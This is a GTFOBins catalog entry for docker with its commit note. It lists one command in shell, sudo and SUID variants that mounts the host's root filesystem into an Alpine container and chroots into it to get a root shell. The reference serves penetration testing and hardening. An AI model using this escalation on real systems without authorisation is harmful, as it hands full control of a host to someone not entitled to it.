GTFOBins.github.io/_gtfobins/docker.md
Andrea Cardaci 40ecb11b2e Simplify the docker example by using chroot
Also make it available for non-root users.

The previous SUID example had the problem that the loaders between host and
containers must match, for example, copying `sh` from alpine to debian doesn't
directly work.
2019-07-02 15:47:29 +02:00

696 B

description functions
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
shell sudo suid
description code
Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. docker run -v /:/mnt --rm -it alpine chroot /mnt sh
description code
Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
description code
Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh